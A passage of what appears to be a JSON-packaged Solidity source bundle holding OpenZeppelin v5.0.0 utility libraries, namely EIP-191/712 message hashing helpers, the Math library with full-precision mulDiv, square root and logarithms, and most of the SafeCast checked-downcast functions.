digest will\n * be re-hashed.\n *\n * See {ECDSA-recover}.\n */\n function toEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32 digest) {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, \"\\x19Ethereum Signed Message:\\n32\") // 32 is the bytes-length of messageHash\n mstore(0x1c, messageHash) // 0x1c (28) is the length of the prefix\n digest := keccak256(0x00, 0x3c) // 0x3c is the length of the prefix (0x1c) + messageHash (0x20)\n }\n }\n\n /**\n * @dev Returns the keccak256 digest of an EIP-191 signed data with version\n * `0x45` (`personal_sign` messages).\n *\n * The digest is calculated by prefixing an arbitrary `message` with\n * `\"\\x19Ethereum Signed Message:\\n\" + len(message)` and hashing the result. It corresponds with the\n * hash signed when using the https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] JSON-RPC method.\n *\n * See {ECDSA-recover}.\n */\n function toEthSignedMessageHash(bytes memory message) internal pure returns (bytes32) {\n return\n keccak256(bytes.concat(\"\\x19Ethereum Signed Message:\\n\", bytes(Strings.toString(message.length)), message));\n }\n\n /**\n * @dev Returns the keccak256 digest of an EIP-191 signed data with version\n * `0x00` (data with intended validator).\n *\n * The digest is calculated by prefixing an arbitrary `data` with `\"\\x19\\x00\"` and the intended\n * `validator` address. Then hashing the result.\n *\n * See {ECDSA-recover}.\n */\n function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(hex\"19_00\", validator, data));\n }\n\n /**\n * @dev Returns the keccak256 digest of an EIP-712 typed data (EIP-191 version `0x01`).\n *\n * The digest is calculated from a `domainSeparator` and a `structHash`, by prefixing them with\n * `\\x19\\x01` and hashing the result. It corresponds to the hash signed by the\n * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] JSON-RPC method as part of EIP-712.\n *\n * See {ECDSA-recover}.\n */\n function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 digest) {\n /// @solidity memory-safe-assembly\n assembly {\n let ptr := mload(0x40)\n mstore(ptr, hex\"19_01\")\n mstore(add(ptr, 0x02), domainSeparator)\n mstore(add(ptr, 0x22), structHash)\n digest := keccak256(ptr, 0x42)\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/math/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary Math {\n /**\n * @dev Muldiv operation overflow.\n */\n error MathOverflowedMulDiv();\n\n enum Rounding {\n Floor, // Toward negative infinity\n Ceil, // Toward positive infinity\n Trunc, // Toward zero\n Expand // Away from zero\n }\n\n /**\n * @dev Returns the addition of two unsigned integers, with an overflow flag.\n */\n function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n if (c < a) return (false, 0);\n return (true, c);\n }\n }\n\n /**\n * @dev Returns the subtraction of two unsigned integers, with an overflow flag.\n */\n function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n return (true, a - b);\n }\n }\n\n /**\n * @dev Returns the multiplication of two unsigned integers, with an overflow flag.\n */\n function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\n // benefit is lost if 'b' is also tested.\n // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\n if (a == 0) return (true, 0);\n uint256 c = a * b;\n if (c / a != b) return (false, 0);\n return (true, c);\n }\n }\n\n /**\n * @dev Returns the division of two unsigned integers, with a division by zero flag.\n */\n function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n return (true, a / b);\n }\n }\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.\n */\n function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n return (true, a % b);\n }\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds towards infinity instead\n * of rounding towards zero.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n // Guarantee the same behavior as in a regular Solidity division.\n return a / b;\n }\n\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or\n * denominator == 0.\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by\n * Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0 = x * y; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n if (denominator <= prod1) {\n revert MathOverflowedMulDiv();\n }\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator.\n // Always >= 1. See https://cs.stackexchange.com/q/138556/92363.\n\n uint256 twos = denominator & (0 - denominator);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also\n // works in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded\n * towards zero.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2 of a positive value rounded towards zero.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10 of a positive value rounded towards zero.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256 of a positive value rounded towards zero.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers.\n */\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n"
},
"@openzeppelin/contracts/utils/math/SafeCast.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/SafeCast.sol)\n// This file was procedurally generated from scripts/generate/templates/SafeCast.js.\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow\n * checks.\n *\n * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can\n * easily result in undesired exploitation or bugs, since developers usually\n * assume that overflows raise errors. `SafeCast` restores this intuition by\n * reverting the transaction when such an operation overflows.\n *\n * Using this library instead of the unchecked operations eliminates an entire\n * class of bugs, so it's recommended to use it always.\n */\nlibrary SafeCast {\n /**\n * @dev Value doesn't fit in an uint of `bits` size.\n */\n error SafeCastOverflowedUintDowncast(uint8 bits, uint256 value);\n\n /**\n * @dev An int value doesn't fit in an uint of `bits` size.\n */\n error SafeCastOverflowedIntToUint(int256 value);\n\n /**\n * @dev Value doesn't fit in an int of `bits` size.\n */\n error SafeCastOverflowedIntDowncast(uint8 bits, int256 value);\n\n /**\n * @dev An uint value doesn't fit in an int of `bits` size.\n */\n error SafeCastOverflowedUintToInt(uint256 value);\n\n /**\n * @dev Returns the downcasted uint248 from uint256, reverting on\n * overflow (when the input is greater than largest uint248).\n *\n * Counterpart to Solidity's `uint248` operator.\n *\n * Requirements:\n *\n * - input must fit into 248 bits\n */\n function toUint248(uint256 value) internal pure returns (uint248) {\n if (value > type(uint248).max) {\n revert SafeCastOverflowedUintDowncast(248, value);\n }\n return uint248(value);\n }\n\n /**\n * @dev Returns the downcasted uint240 from uint256, reverting on\n * overflow (when the input is greater than largest uint240).\n *\n * Counterpart to Solidity's `uint240` operator.\n *\n * Requirements:\n *\n * - input must fit into 240 bits\n */\n function toUint240(uint256 value) internal pure returns (uint240) {\n if (value > type(uint240).max) {\n revert SafeCastOverflowedUintDowncast(240, value);\n }\n return uint240(value);\n }\n\n /**\n * @dev Returns the downcasted uint232 from uint256, reverting on\n * overflow (when the input is greater than largest uint232).\n *\n * Counterpart to Solidity's `uint232` operator.\n *\n * Requirements:\n *\n * - input must fit into 232 bits\n */\n function toUint232(uint256 value) internal pure returns (uint232) {\n if (value > type(uint232).max) {\n revert SafeCastOverflowedUintDowncast(232, value);\n }\n return uint232(value);\n }\n\n /**\n * @dev Returns the downcasted uint224 from uint256, reverting on\n * overflow (when the input is greater than largest uint224).\n *\n * Counterpart to Solidity's `uint224` operator.\n *\n * Requirements:\n *\n * - input must fit into 224 bits\n */\n function toUint224(uint256 value) internal pure returns (uint224) {\n if (value > type(uint224).max) {\n revert SafeCastOverflowedUintDowncast(224, value);\n }\n return uint224(value);\n }\n\n /**\n * @dev Returns the downcasted uint216 from uint256, reverting on\n * overflow (when the input is greater than largest uint216).\n *\n * Counterpart to Solidity's `uint216` operator.\n *\n * Requirements:\n *\n * - input must fit into 216 bits\n */\n function toUint216(uint256 value) internal pure returns (uint216) {\n if (value > type(uint216).max) {\n revert SafeCastOverflowedUintDowncast(216, value);\n }\n return uint216(value);\n }\n\n /**\n * @dev Returns the downcasted uint208 from uint256, reverting on\n * overflow (when the input is greater than largest uint208).\n *\n * Counterpart to Solidity's `uint208` operator.\n *\n * Requirements:\n *\n * - input must fit into 208 bits\n */\n function toUint208(uint256 value) internal pure returns (uint208) {\n if (value > type(uint208).max) {\n revert SafeCastOverflowedUintDowncast(208, value);\n }\n return uint208(value);\n }\n\n /**\n * @dev Returns the downcasted uint200 from uint256, reverting on\n * overflow (when the input is greater than largest uint200).\n *\n * Counterpart to Solidity's `uint200` operator.\n *\n * Requirements:\n *\n * - input must fit into 200 bits\n */\n function toUint200(uint256 value) internal pure returns (uint200) {\n if (value > type(uint200).max) {\n revert SafeCastOverflowedUintDowncast(200, value);\n }\n return uint200(value);\n }\n\n /**\n * @dev Returns the downcasted uint192 from uint256, reverting on\n * overflow (when the input is greater than largest uint192).\n *\n * Counterpart to Solidity's `uint192` operator.\n *\n * Requirements:\n *\n * - input must fit into 192 bits\n */\n function toUint192(uint256 value) internal pure returns (uint192) {\n if (value > type(uint192).max) {\n revert SafeCastOverflowedUintDowncast(192, value);\n }\n return uint192(value);\n }\n\n /**\n * @dev Returns the downcasted uint184 from uint256, reverting on\n * overflow (when the input is greater than largest uint184).\n *\n * Counterpart to Solidity's `uint184` operator.\n *\n * Requirements:\n *\n * - input must fit into 184 bits\n */\n function toUint184(uint256 value) internal pure returns (uint184) {\n if (value > type(uint184).max) {\n revert SafeCastOverflowedUintDowncast(184, value);\n }\n return uint184(value);\n }\n\n /**\n * @dev Returns the downcasted uint176 from uint256, reverting on\n * overflow (when the input is greater than largest uint176).\n *\n * Counterpart to Solidity's `uint176` operator.\n *\n * Requirements:\n *\n * - input must fit into 176 bits\n */\n function toUint176(uint256 value) internal pure returns (uint176) {\n if (value > type(uint176).max) {\n revert SafeCastOverflowedUintDowncast(176, value);\n }\n return uint176(value);\n }\n\n /**\n * @dev Returns the downcasted uint168 from uint256, reverting on\n * overflow (when the input is greater than largest uint168).\n *\n * Counterpart to Solidity's `uint168` operator.\n *\n * Requirements:\n *\n * - input must fit into 168 bits\n */\n function toUint168(uint256 value) internal pure returns (uint168) {\n if (value > type(uint168).max) {\n revert SafeCastOverflowedUintDowncast(168, value);\n }\n return uint168(value);\n }\n\n /**\n * @dev Returns the downcasted uint160 from uint256, reverting on\n * overflow (when the input is greater than largest uint160).\n *\n * Counterpart to Solidity's `uint160` operator.\n *\n * Requirements:\n *\n * - input must fit into 160 bits\n */\n function toUint160(uint256 value) internal pure returns (uint160) {\n if (value > type(uint160).max) {\n revert SafeCastOverflowedUintDowncast(160, value);\n }\n return uint160(value);\n }\n\n /**\n * @dev Returns the downcasted uint152 from uint256, reverting on\n * overflow (when the input is greater than largest uint152).\n *\n * Counterpart to Solidity's `uint152` operator.\n *\n * Requirements:\n *\n * - input must fit into 152 bits\n */\n function toUint152(uint256 value) internal pure returns (uint152) {\n if (value > type(uint152).max) {\n revert SafeCastOverflowedUintDowncast(152, value);\n }\n return uint152(value);\n }\n\n /**\n * @dev Returns the downcasted uint144 from uint256, reverting on\n * overflow (when the input is greater than largest uint144).\n *\n * Counterpart to Solidity's `uint144` operator.\n *\n * Requirements:\n *\n * - input must fit into 144 bits\n */\n function toUint144(uint256 value) internal pure returns (uint144) {\n if (value > type(uint144).max) {\n revert SafeCastOverflowedUintDowncast(144, value);\n }\n return uint144(value);\n }\n\n /**\n * @dev Returns the downcasted uint136 from uint256, reverting on\n * overflow (when the input is greater than largest uint136).\n *\n * Counterpart to Solidity's `uint136` operator.\n *\n * Requirements:\n *\n * - input must fit into 136 bits\n */\n function toUint136(uint256 value) internal pure returns (uint136) {\n if (value > type(uint136).max) {\n revert SafeCastOverflowedUintDowncast(136, value);\n }\n return uint136(value);\n }\n\n /**\n * @dev Returns the downcasted uint128 from uint256, reverting on\n * overflow (when the input is greater than largest uint128).\n *\n * Counterpart to Solidity's `uint128` operator.\n *\n * Requirements:\n *\n * - input must fit into 128 bits\n */\n function toUint128(uint256 value) internal pure returns (uint128) {\n if (value > type(uint128).max) {\n revert SafeCastOverflowedUintDowncast(128, value);\n }\n return uint128(value);\n }\n\n /**\n * @dev Returns the downcasted uint120 from uint256, reverting on\n * overflow (when the input is greater than largest uint120).\n *\n * Counterpart to Solidity's `uint120` operator.\n *\n * Requirements:\n *\n * - input must fit into 120 bits\n */\n function toUint120(uint256 value) internal pure returns (uint120) {\n if (value > type(uint120).max) {\n revert SafeCastOverflowedUintDowncast(120, value);\n }\n return uint120(value);\n }\n\n /**\n * @dev Returns the downcasted uint112 from uint256, reverting on\n * overflow (when the input is greater than largest uint112).\n *\n * Counterpart to Solidity's `uint112` operator.\n *\n * Requirements:\n *\n * - input must fit into 112 bits\n */\n function toUint112(uint256 value) internal pure returns (uint112) {\n if (value > type(uint112).max) {\n revert SafeCastOverflowedUintDowncast(112, value);\n }\n return uint112(value);\n }\n\n /**\n * @dev Returns the downcasted uint104 from uint256, reverting on\n * overflow (when the input is greater than largest uint104).\n *\n * Counterpart to Solidity's `uint104` operator.\n *\n * Requirements:\n *\n * - input must fit into 104 bits\n */\n function toUint104(uint256 value) internal pure returns (uint104) {\n if (value > type(uint104).max) {\n revert SafeCastOverflowedUintDowncast(104, value);\n }\n return uint104(value);\n }\n\n /**\n * @dev Returns the downcasted uint96 from uint256, reverting on\n * overflow (when the input is greater than largest uint96).\n *\n * Counterpart to Solidity's `uint96` operator.\n *\n * Requirements:\n *\n * - input must fit into 96 bits\n */\n function toUint96(uint256 value) internal pure returns (uint96) {\n if (value > type(uint96).max) {\n revert SafeCastOverflowedUintDowncast(96, value);\n }\n return uint96(value);\n }\n\n /**\n * @dev Returns the downcasted uint88 from uint256, reverting on\n * overflow (when the input is greater than largest uint88).\n *\n * Counterpart to Solidity's `uint88` operator.\n *\n * Requirements:\n *\n * - input must fit into 88 bits\n */\n function toUint88(uint256 value) internal pure returns (uint88) {\n if (value > type(uint88).max) {\n revert SafeCastOverflowedUintDowncast(88, value);\n }\n return uint88(value);\n }\n\n /**\n * @dev Returns the downcasted uint80 from uint256, reverting on\n * overflow (when the input is greater than largest uint80).\n *\n * Counterpart to Solidity's `uint80` operator.\n *\n * Requirements:\n *\n * - input must fit into 80 bits\n */\n function toUint80(uint256 value) internal pure returns (uint80) {\n if (value > type(uint80).max) {\n revert SafeCastOverflowedUintDowncast(80, value);\n }\n return uint80(value);\n }\n\n /**\n * @dev Returns the downcasted uint72 from uint256, reverting on\n * overflow (when the input is greater than largest uint72).\n *\n * Counterpart to Solidity's `uint72` operator.\n *\n * Requirements:\n *\n * - input must fit into 72 bits\n */\n function toUint72(uint256 value) internal pure returns (uint72) {\n if (value > type(uint72).max) {\n revert SafeCastOverflowedUintDowncast(72, value);\n }\n return uint72(value);\n }\n\n /**\n * @dev Returns the downcasted uint64 from uint256, reverting on\n * overflow (when the input is greater than largest uint64).\n *\n * Counterpart to Solidity's `uint64` operator.\n *\n * Requirements:\n *\n * - input must fit into 64 bits\n */\n function toUint64(uint256 value) internal pure returns (uint64) {\n if (value > type(uint64).max) {\n revert SafeCastOverflowedUintDowncast(64, value);\n }\n return uint64(value);\n }\n\n /**\n * @dev Returns the downcasted uint56 from uint256, reverting on\n * overflow (when the input is greater than largest uint56).\n *\n * Counterpart to Solidity's `uint56` operator.\n *\n * Requirements:\n *\n * - input must fit into 56 bits\n */\n function toUint56(uint256 value) internal pure returns (uint56) {\n if (value > type(uint56).max) {\n revert SafeCastOverflowedUintDowncast(56, value);\n }\n return uint56(value);\n }\n\n /**\n * @dev Returns the downcasted uint48 from uint256, reverting on\n * overflow (when the input is greater than largest uint48).\n *\n * Counterpart to Solidity's `uint48` operator.\n *\n * Requirements:\n *\n * - input must fit into 48 bits\n */\n function toUint48(uint256 value) internal pure returns (uint48) {\n if (value > type(uint48).max) {\n revert SafeCastOverflowedUintDowncast(48, value);\n }\n return uint48(value);\n }\n\n /**\n * @dev Returns the downcasted uint40 from uint256, reverting on\n * overflow (when the input is greater than largest uint40).\n *\n * Counterpart to Solidity's `uint40` operator.\n *\n * Requirements:\n *\n * - input must fit into 40 bits\n */\n function toUint40(uint256 value) internal pure returns (uint40) {\n if (value > type(uint40).max) {\n revert SafeCastOverflowedUintDowncast(40, value);\n }\n return uint40(value);\n }\n\n /**\n * @dev Returns the downcasted uint32 from uint256, reverting on\n * overflow (when the input is greater than largest uint32).\n *\n * Counterpart to Solidity's `uint32` operator.\n *\n * Requirements:\n *\n * - input must fit into 32 bits\n */\n function toUint32(uint256 value) internal pure returns (uint32) {\n if (value > type(uint32).max) {\n revert SafeCastOverflowedUintDowncast(32, value);\n }\n return uint32(value);\n }\n\n /**\n * @dev Returns the downcasted uint24 from uint256, reverting on\n * overflow (when the input is greater than largest uint24).\n *\n * Counterpart to Solidity's `uint24` operator.\n *\n * Requirements:\n *\n * - input must fit into 24 bits\n */\n function toUint24(uint256 value) internal pure returns (uint24) {\n if (value > type(uint24).max) {\n revert SafeCastOverflowedUintDowncast(24, value);\n }\n return uint24(value);\n }\n\n /**\n * @dev Returns the downcasted uint16 from uint256, reverting on\n * overflow (when the input is greater than largest uint16).\n *\n * Counterpart to Solidity's `uint16` operator.\n *\n * Requirements:\n *\n * - input must fit into 16 bits\n */\n function toUint16(uint256 value) internal pure returns (uint16) {\n if (value > type(uint16).max) {\n revert SafeCastOverflowedUintDowncast(16, value);\n }\n return uint16(value);\n }\n\n /**\n * @dev Returns the downcasted uint8 from uint256, reverting on\n * overflow (when the input is greater than largest uint8).\n *\n * Counterpart to Solidity's `uint8` operator.\n *\n * Requirements:\n *\n * - input must fit into 8 bits\n */\n function toUint8(uint256 value) internal pure returns (uint8) {\n if (value > type(uint8).max) {\n revert SafeCastOverflowedUintDowncast(8, value);\n }\n return uint8(value);\n }\n\n /**\n * @dev Converts a signed int256 into an unsigned uint256.\n *\n * Requirements:\n *\n * - input must be greater than or equal to 0.\n */\n function toUint256(int256 value) internal pure returns (uint256) {\n if (value < 0) {\n revert SafeCastOverflowedIntToUint(value);\n }\n return uint256(value);\n }\n\n /**\n * @dev Returns the downcasted int248 from int256, reverting on\n * overflow (when the input is less than smallest int248 or\n * greater than largest int248).\n *\n * Counterpart to Solidity's `int248` operator.\n *\n * Requirements:\n *\n * - input must fit into 248 bits\n */\n function toInt248(int256 value) internal pure returns (int248 downcasted) {\n downcasted = int248(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(248, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int240 from int256, reverting on\n * overflow (when the input is less than smallest int240 or\n * greater than largest int240).\n *\n * Counterpart to Solidity's `int240` operator.\n *\n * Requirements:\n *\n * - input must fit into 240 bits\n */\n function toInt240(int256 value) internal pure returns (int240 downcasted) {\n downcasted = int240(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(240, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int232 from int256, reverting on\n * overflow (when the input is less than smallest int232 or\n * greater than largest int232).\n *\n * Counterpart to Solidity's `int232` operator.\n *\n * Requirements:\n *\n * - input must fit into 232 bits\n */\n function toInt232(int256 value) internal pure returns (int232 downcasted) {\n downcasted = int232(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(232, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int224 from int256, reverting on\n * overflow (when the input is less than smallest int224 or\n * greater than largest int224).\n *\n * Counterpart to Solidity's `int224` operator.\n *\n * Requirements:\n *\n * - input must fit into 224 bits\n */\n function toInt224(int256 value) internal pure returns (int224 downcasted) {\n downcasted = int224(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(224, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int216 from int256, reverting on\n * overflow (when the input is less than smallest int216 or\n * greater than largest int216).\n *\n * Counterpart to Solidity's `int216` operator.\n *\n * Requirements:\n *\n * - input must fit into 216 bits\n */\n function toInt216(int256 value) internal pure returns (int216 downcasted) {\n downcasted = int216(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(216, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int208 from int256, reverting on\n * overflow (when the input is less than smallest int208 or\n * greater than largest int208).\n *\n * Counterpart to Solidity's `int208` operator.\n *\n * Requirements:\n *\n * - input must fit into 208 bits\n */\n function toInt208(int256 value) internal pure returns (int208 downcasted) {\n downcasted = int208(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(208, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int200 from int256, reverting on\n * overflow (when the input is less than smallest int200 or\n * greater than largest int200).\n *\n * Counterpart to Solidity's `int200` operator.\n *\n * Requirements:\n *\n * - input must fit into 200 bits\n */\n function toInt200(int256 value) internal pure returns (int200 downcasted) {\n downcasted = int200(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(200, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int192 from int256, reverting on\n * overflow (when the input is less than smallest int192 or\n * greater than largest int192).\n *\n * Counterpart to Solidity's `int192` operator.\n *\n * Requirements:\n *\n * - input must fit into 192 bits\n */\n function toInt192(int256 value) internal pure returns (int192 downcasted) {\n downcasted = int192(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(192, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int184 from int256, reverting on\n * overflow 